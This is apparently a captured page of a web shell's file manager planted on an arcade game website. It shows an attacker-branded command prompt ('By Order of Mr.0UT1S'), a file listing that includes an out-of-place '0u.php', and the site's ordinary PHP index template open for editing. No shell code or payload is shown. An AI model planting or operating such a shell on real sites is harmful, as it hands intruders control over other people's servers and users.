home
/
aioutajg
/
watermelongame.site
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] admin
N/A
[DIR] includes
N/A
[DIR] static
N/A
.htaccess
601 bytes
Rename
Delete
0u.php
37.68 KB
Rename
Delete
404.php
1.52 KB
Rename
Delete
Zontal-v1.5.zip
13.65 MB
Rename
Delete
archive.php
6.31 KB
Rename
Delete
category.php
5.03 KB
Rename
Delete
error_log
14.31 MB
Rename
Delete
index.php
15.67 KB
Rename
Delete
login.php
4.56 KB
Rename
Delete
logout.php
89 bytes
Rename
Delete
page.php
1.38 KB
Rename
Delete
register.php
8.32 KB
Rename
Delete
robots.txt
699 bytes
Rename
Delete
search.php
5.74 KB
Rename
Delete
single.php
13.76 KB
Rename
Delete
sitemap.php
1.23 KB
Rename
Delete
update_game_descriptions.php
23.55 KB
Rename
Delete
update_game_titles.php
1.18 KB
Rename
Delete
user.php
10.64 KB
Rename
Delete
zontal.sql
736.31 KB
Rename
Delete
<?php // +------------------------------------------------------------------------+ // | @author: MvnThemes // | @name: Zontal - The Arcade Online HTML5 Game Playing Platform // | @author_email: mvk62015@gmail.com // | @version: 1.0v // +------------------------------------------------------------------------+ // | Zontal - The Arcade Online HTML5 Game Playing Platform // | Copyright (c) 2017 Zontal. All rights reserved. // ?> <?php // include Header ?> <?php include("includes/header.php") ?> <?php // Getting Total Categories ?> <?php $run = mysqli_query($con, "select * from zon_category"); $count = mysqli_num_rows($run); ?> <?php // Body Start ?> <body class="bg-dark dark:bg-[#121317]"> <?php // include Main Header ?> <?php include("includes/main-h.php") ?> <div class="body container-zon mt-3 px-0"> <div class="mx-4"> <h1 class="font-bold text-4xl dark:text-gray-200 mb-10 mt-10 text-center capitalize">Play Over 1500+ Free Online Games @ Watermelon Game Site</h1> <?php // First Game Container ?> <div class="grid grid-cols-1 sm:grid-cols-2 md:grid-cols-3 lg:grid-cols-6 gap-4"> <?php $run_d = mysqli_query($con, "select * from zon_games where game_played > 50 order by id desc limit 1"); while ($row = mysqli_fetch_assoc($run_d)) { $description = $row['game_description']; $words = explode(' ', $description); $truncatedDescription = implode(' ', array_slice($words, 0, 15)) . '...'; ?> <a href="single/<?= $row['id'] ?>/<?php $text = $row['game_name']; $lower = strtolower($text); $revspace = str_replace(" ", "-", $lower); echo $revspace; ?>" class="card relative overflow-hidden rounded-xl cursor-pointer transition-all duration-300 hover:shadow-lg"> <img src="<?= $row['game_image_url'] ?>" class="w-full h-48 object-cover rounded-t-xl" width="100%" height="192" alt="<?= $row['game_name'] ?>"> <div class="p-4 bg-[#1e1f26]"> <h2 class="text-white font-semibold"><?= $row['game_name'] ?></h2> <p class="text-gray-400 text-sm mt-2"><?= $truncatedDescription ?></p> </div> </a> <?php } ?> <?php $run = mysqli_query($con, "select * from zon_games order by id desc limit 1,23"); while ($row = mysqli_fetch_assoc($run)) { $description = $row['game_description']; $words = explode(' ', $description); $truncatedDescription = implode(' ', array_slice($words, 0, 15)) . '...'; ?> <a href="single/<?= $row['id'] ?>/<?php $text = $row['game_name']; $lower = strtolower($text); $revspace = str_replace(" ", "-", $lower); echo $revspace; ?>" class="card relative overflow-hidden rounded-xl cursor-pointer transition-all duration-300 hover:shadow-lg"> <img src="<?= $row['game_image_url'] ?>" class="w-full h-48 object-cover rounded-t-xl" width="100%" height="192" alt="<?= $row['game_name'] ?>"> <div class="p-4 bg-[#1e1f26]"> <h2 class="text-white font-semibold"><?= $row['game_name'] ?></h2> <p class="text-gray-400 text-sm mt-2"><?= $truncatedDescription ?></p> </div> </a> <?php } ?> </div> <?php // First Game Container End ?> <?php // Start Advertisement Area No. 1 ?> <?php $run = mysqli_query($con, "select * from zon_ads limit 1,1"); while ($row = mysqli_fetch_assoc($run)) { ?> <?php if ($row['status'] == 0) { ?> <div class="advertisement flex mt-6 relative overflow-hidden justify-center "> <div class="banner"> <?= $row['code'] ?> </div> </div> <?php } } ?> <?php // End Advertisement Area No. 1 ?> <?php // Showing Games By Category Action ?> <h2 class="heading font-bold text-2xl mb-4 text-gray-800 mt-12 dark:text-gray-200">Action Games</h2> <div class="grid grid-cols-1 sm:grid-cols-2 md:grid-cols-3 lg:grid-cols-6 gap-4"> <?php $run = mysqli_query($con, "SELECT * from zon_games where game_category='Action' && game_played > 50 order by id desc limit 1"); while ($row = mysqli_fetch_assoc($run)) { $description = $row['game_description']; $words = explode(' ', $description); $truncatedDescription = implode(' ', array_slice($words, 0, 15)) . '...'; ?> <a href="single/<?= $row['id'] ?>/<?php $text = $row['game_name']; $lower = strtolower($text); $revspace = str_replace(" ", "-", $lower); echo $revspace; ?>" class="card relative overflow-hidden rounded-xl cursor-pointer transition-all duration-300 hover:shadow-lg"> <img src="<?= $row['game_image_url'] ?>" class="w-full h-48 object-cover rounded-t-xl" width="100%" height="192" alt="<?= $row['game_name'] ?>"> <div class="p-4 bg-[#1e1f26]"> <h2 class="text-white font-semibold"><?= $row['game_name'] ?></h2> <p class="text-gray-400 text-sm mt-2"><?= $truncatedDescription ?></p> </div> </a> <?php } ?> <?php $run = mysqli_query($con, "SELECT * from zon_games where game_category='Action' order by id desc limit 54"); while ($row = mysqli_fetch_assoc($run)) { $description = $row['game_description']; $words = explode(' ', $description); $truncatedDescription = implode(' ', array_slice($words, 0, 15)) . '...'; ?> <a href="single/<?= $row['id'] ?>/<?php $text = $row['game_name']; $lower = strtolower($text); $revspace = str_replace(" ", "-", $lower); echo $revspace; ?>" class="card relative overflow-hidden rounded-xl cursor-pointer transition-all duration-300 hover:shadow-lg"> <img src="<?= $row['game_image_url'] ?>" class="w-full h-48 object-cover rounded-t-xl" width="100%" height="192" alt="<?= $row['game_name'] ?>"> <div class="p-4 bg-[#1e1f26]"> <h2 class="text-white font-semibold"><?= $row['game_name'] ?></h2> <p class="text-gray-400 text-sm mt-2"><?= $truncatedDescription ?></p> </div> </a> <?php } ?> </div> <?php // End Action Category Games ?> <?php // Start Advertisement Area No. 2 ?> <?php $run = mysqli_query($con, "select * from zon_ads limit 1,1"); while ($row = mysqli_fetch_assoc($run)) { ?> <?php if ($row['status'] == 0) { ?> <div class="advertisement flex mt-6 relative overflow-hidden justify-center "> <div class="banner"> <?= $row['code'] ?> </div> </div> <?php } } ?> <?php // End Start Advertisement Area No. 2 ?> <?php // Games By Categories vise ?> <div class="drill flex resp gap-3"> <div class="w-full"> <div class="heading flex items-center justify-between"> <h2 class="font-bold text-2xl mb-4 text-gray-800 mt-12 dark:text-gray-200">Action Games</h2> <a class="text-gray-400 block mr-12 mt-6" href="<?php echo $site_url ?>game/action">view</a> </div> <div class="grid grid-cols-2 gap-4"> <?php $run = mysqli_query($con, "SELECT * from zon_games where game_category='Action' order by id desc limit 18"); while ($row = mysqli_fetch_assoc($run)) { $description = $row['game_description']; $words = explode(' ', $description); $truncatedDescription = implode(' ', array_slice($words, 0, 15)) . '...'; ?> <a href="single/<?= $row['id'] ?>/<?php $text = $row['game_name']; $lower = strtolower($text); $revspace = str_replace(" ", "-", $lower); echo $revspace; ?>" class="card relative overflow-hidden rounded-xl cursor-pointer transition-all duration-300 hover:shadow-lg"> <img src="<?= $row['game_image_url'] ?>" class="w-full h-48 object-cover rounded-t-xl" width="100%" height="192" alt="<?= $row['game_name'] ?>"> <div class="p-4 bg-[#1e1f26]"> <h2 class="text-white font-semibold"><?= $row['game_name'] ?></h2> <p class="text-gray-400 text-sm mt-2"><?= $truncatedDescription ?></p> </div> </a> <?php } ?> </div> </div> <?php // Showing Games By Category Shooting ?> <div class="w-full"> <div class="heading flex items-center justify-between"> <h2 class="font-bold text-2xl mb-4 text-gray-800 mt-12 dark:text-gray-200">Shooting Games</h2> <a class="text-gray-400 block mr-12 mt-6" href="<?php echo $site_url ?>game/Shooting">view</a> </div> <div class="grid grid-cols-2 gap-4"> <?php $run = mysqli_query($con, "SELECT * from zon_games where game_category='Shooting' order by id desc limit 18"); while ($row = mysqli_fetch_assoc($run)) { $description = $row['game_description']; $words = explode(' ', $description); $truncatedDescription = implode(' ', array_slice($words, 0, 15)) . '...'; ?> <a href="single/<?= $row['id'] ?>/<?php $text = $row['game_name']; $lower = strtolower($text); $revspace = str_replace(" ", "-", $lower); echo $revspace; ?>" class="card relative overflow-hidden rounded-xl cursor-pointer transition-all duration-300 hover:shadow-lg"> <img src="<?= $row['game_image_url'] ?>" class="w-full h-48 object-cover rounded-t-xl" width="100%" height="192" alt="<?= $row['game_name'] ?>"> <div class="p-4 bg-[#1e1f26]"> <h2 class="text-white font-semibold"><?= $row['game_name'] ?></h2> <p class="text-gray-400 text-sm mt-2"><?= $truncatedDescription ?></p> </div> </a> <?php } ?> </div> </div> <?php // End Shooting Category Games ?> <?php // Showing Games By Category Puzzles ?> <div class="w-full"> <div class="heading flex items-center justify-between"> <h2 class="font-bold text-2xl mb-4 text-gray-800 mt-12 dark:text-gray-200">Puzzles Games</h2> <a class="text-gray-400 block mr-12 mt-6" href="<?php echo $site_url ?>game/puzzles">view</a> </div> <div class="grid grid-cols-2 gap-4"> <?php $run = mysqli_query($con, "SELECT * from zon_games where game_category='Puzzles' order by id desc limit 18"); while ($row = mysqli_fetch_assoc($run)) { $description = $row['game_description']; $words = explode(' ', $description); $truncatedDescription = implode(' ', array_slice($words, 0, 15)) . '...'; ?> <a href="single/<?= $row['id'] ?>/<?php $text = $row['game_name']; $lower = strtolower($text); $revspace = str_replace(" ", "-", $lower); echo $revspace; ?>" class="card relative overflow-hidden rounded-xl cursor-pointer transition-all duration-300 hover:shadow-lg"> <img src="<?= $row['game_image_url'] ?>" class="w-full h-48 object-cover rounded-t-xl" width="100%" height="192" alt="<?= $row['game_name'] ?>"> <div class="p-4 bg-[#1e1f26]"> <h2 class="text-white font-semibold"><?= $row['game_name'] ?></h2> <p class="text-gray-400 text-sm mt-2"><?= $truncatedDescription ?></p> </div> </a> <?php } ?> </div> </div> <?php // End Puzzles Category Games ?> </div> <?php // End Games By Categories vise ?> </div> </div> </div> </div> <?php // Include Footer ?> <?php include("includes/footer.php") ?> </body> <?php // Body End ?> </html>
Save